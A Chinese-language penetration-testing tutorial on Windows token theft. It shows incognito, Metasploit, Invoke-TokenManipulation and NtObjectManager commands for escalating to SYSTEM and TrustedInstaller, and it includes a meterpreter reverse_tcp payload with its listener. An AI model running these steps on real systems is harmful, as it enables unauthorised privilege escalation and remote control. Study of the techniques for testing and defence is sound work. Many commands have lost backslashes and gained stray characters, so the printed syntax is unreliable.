標籤:

滲透技巧——Token竊取與利用

0x00 前言

在之前的文章《滲透技巧——程序的降權啟動》介紹了使用SelectMyParent降權的方法,本質上是通過token竊取實現的。這一次將要對token竊取和利用做進一步介紹,測試常用工具,分享利用技巧。

0x01 簡介

本文將要介紹以下內容;

·Token簡介

·Metasploit中的incognito

·Windows平台下的incognito

·Invoke-TokenManipulation.ps1用法

·利用token獲得system許可權

·利用token獲得TrustedInstaller許可權

0x02 Token簡介

Windows有兩種類型的Token:

·Delegation token(授權令牌):用於交互會話登錄(例如本地用戶直接登錄、遠程桌面登錄)

·Impersonation token(模擬令牌):用於非交互登錄(利用net use訪問共享文件夾)

註:

兩種token只在系統重啟後清除

具有Delegation token的用戶在註銷後,該Token將變成Impersonation token,依舊有效

實際測試

使用Testa登錄後註銷,再使用administrator登錄

查看token:

incognito.exe list_tokens -un

能夠獲取到已註銷用戶Testa的token,如下圖

利用該token執行calc.exe:

incognito.exe execute -c "TESTa" calc.exen

後台顯示進程calc.exe的用戶名為a,如下圖

0x03 Metasploit中的incognito

在Metasploit中,可使用incognito實現token竊取,常用命令如下:

載入incognito:load incognito

列舉token:list_tokens -u

查看當前token:getuid

提示至system許可權:getsystem

token竊取:impersonate_token "NT AUTHORITYSYSTEM"

從進程竊取:steal_token 1252

返回之前token:rev2self or drop_token

實際測試

Client:

msfpayload -p windows/meterpreter/reverse_tcp LHOST=192.168.81.142 LPORT=44444 X >test.exen

Server:

use exploit/multi/handlernset payload windows/meterpreter/reverse_tcpnset LPORT 44444nset LHOST 192.168.81.142nexploitn

執行getsystem獲得system許可權

pid 1252的許可權為當前用戶,執行steal_token 1252, 將許可權切換到WIN-R7MM90ERBMDa

如下圖

執行impersonate_token "NT AUTHORITYSYSTEM"將許可權切換至system

註:

需要加引號和雙斜杠,"NT AUTHORITYSYSTEM"

執行rev2self返回之前token,為WIN-R7MM90ERBMDa

如下圖

通過以上演示,成功通過token竊取實現許可權切換

0x04 Windows平台下的incognito

Metasploit中的incognito,是從windows平台下的incognito移植過來的,下面介紹一下windows平台下的incognito

下載地址:

labs.mwrinfosecurity.com

參考手冊:

labs.mwrinfosecurity.com

常見用法如下:

列舉token:incognito.exe list_tokens -u

複製token:incognito.exe execute [options] <token> <command>

實際測試

列舉token:

incognito.exe list_tokens -un

如下圖

提權至system:

incognito.exe execute -c "NT AUTHORITYSYSTEM" cmd.exen

如下圖

降權至當前用戶:

incognito.exe execute -c "WIN-R7MM90ERBMDa" cmd.exen

偽造用戶:

incognito.exe execute -c "WIN-R7MM90ERBMDb" cmd.exen

如下圖

0x05 Invoke-TokenManipulation.ps1用法

下載地址:

github.com/PowerShellMa

原理和功能同incognito類似,能夠實際提權和降權

列舉token:Invoke-TokenManipulation -Enumerate

提權至system:Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authoritysystem"

複製進程token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500

複製線程token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500

還有更多用法可參考該腳本說明

實際測試略

0x06 利用token獲得TrustedInstaller許可權

在Windows系統中,即使獲得了管理員許可權和system許可權,也不能修改系統文件

因為Windows系統的最高許可權為TrustedInstaller

例如路徑C:Windowsservicing

使用system許可權無法在該路徑創建文件

如下圖

查看文件夾屬性,顯示system不具有寫入許可權,只有TrustedInstaller可以

如下圖

關於如何獲得TrustedInstaller許可權,可參考James Forshaw的這篇文章,很值得學習

tyranidslair.blogspot.nl

這裡對其中的一個實例做測試,進而找到其他實現方法

啟動TrustedInstaller服務會啟動進程TrustedInstaller.exe,位置為C:WindowsservicingTrustedInstaller.exe,查看該程序許可權:

Get-Acl -Path C:WindowsservicingTrustedInstaller.exe |select Ownern

顯示為NT SERVICETrustedInstaller,如下圖

James Forshaw的實現思路為借用TrustedInstaller.exe的token創建子進程,這樣子進程就有了TrustedInstaller許可權,具體powershell代碼如下:

Set-NtTokenPrivilege SeDebugPrivilegen$p = Get-NtProcess -Name TrustedInstaller.exen$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $pn

powershell默認不支持Set-NtTokenPrivilege命令,該模塊需要下載安裝

下載地址:

powershellgallery.com/p

安裝命令:

Save-Module -Name NtObjectManager -Path c:testnInstall-Module -Name NtObjectManagern

註:

Save-Module需要powershell v5.0支持,詳情見:

docs.microsoft.com/zh-c

因此測試系統選為Win10,默認powershell版本為5.0

導入該模塊需要系統允許執行powershell腳本,因此先執行如下代碼:

Set-ExecutionPolicy Unrestrictedn

導入模塊NtObjectManager:

Import-Module NtObjectManagern

執行命令測試:

sc.exe start TrustedInstallernSet-NtTokenPrivilege SeDebugPrivilegen$p = Get-NtProcess -Name TrustedInstaller.exen$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $pn

使用whoami查看當前cmd許可權:

whoami /groups /fo listn

發現當前cmd.exe在TrustedInstaller組裡,成功獲得TrustedInstaller許可權

如下圖

接著按照James Forshaw文章中更新的內容,學習了Vincent Yiu@vysecurity的方法,使用metasploit下的incognito也能夠獲得TrustedInstaller許可權

地址如下:

twitter.com/vysecurity/

思路如下:

·啟動服務TrustedInstaller

·使用incognito獲取TrustedInstaller.exe的token

·獲得TrustedInstaller許可權

使用以下命令:

·load incognito

·getsytem

·ps

·steal_token 3204

·getuid

按照這個思路,猜測使用SelectMyParent和Invoke-TokenManipulation.ps1也能獲得TrustedInstaller許可權

下面驗證我們的判斷

1、SelectMyParent

sc start TrustedInstallernSelectMyParent.exe cmd.exe 1700n

新的cmd.exe擁有TrustedInstaller許可權

2、Invoke-TokenManipulation.ps1

添加如下代碼即可:

sc.exe start TrustedInstallern$id = Get-Process -name TrustedInstaller* | Select-Object id | ForEach-Object -Process{$_.id}nInvoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId $idn

註:

sc這個命令不能直接在powershell裡面運行,powershell會把它當作set-content的別名,可使用sc.exe在powershell裡面運行sc命令

驗證是否獲得TrustedInstaller許可權的方法

1、對特殊路徑寫文件

例如C:Windowsservicing,如下圖

2、使用powershell

Get-Acl -Path C:WindowsservicingTrustedInstaller.exe |select Ownern

回顯為NT SERVICETrustedInstaller

3、使用whoami

whoami /groups | findstr TrustedInstallern

查看是否有回顯

0x07 小結

本文介紹了token竊取的實現方法,使用多種工具來獲得system許可權和TrustedInstaller許可權。

本文為3gstugent原創稿件,授權嘶吼獨家發布,未經許可禁止轉載。如若轉載,請聯繫嘶吼編輯: 4hou.com/penetration/88 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

工具解析篇:高效利用JS載入.Net程序
從明年開始 FBI可任意控制你的電腦
如何獲取第一手的安全資訊?
熊貓燒香技術含量高嗎?高在哪裡?

TAG:信息安全 |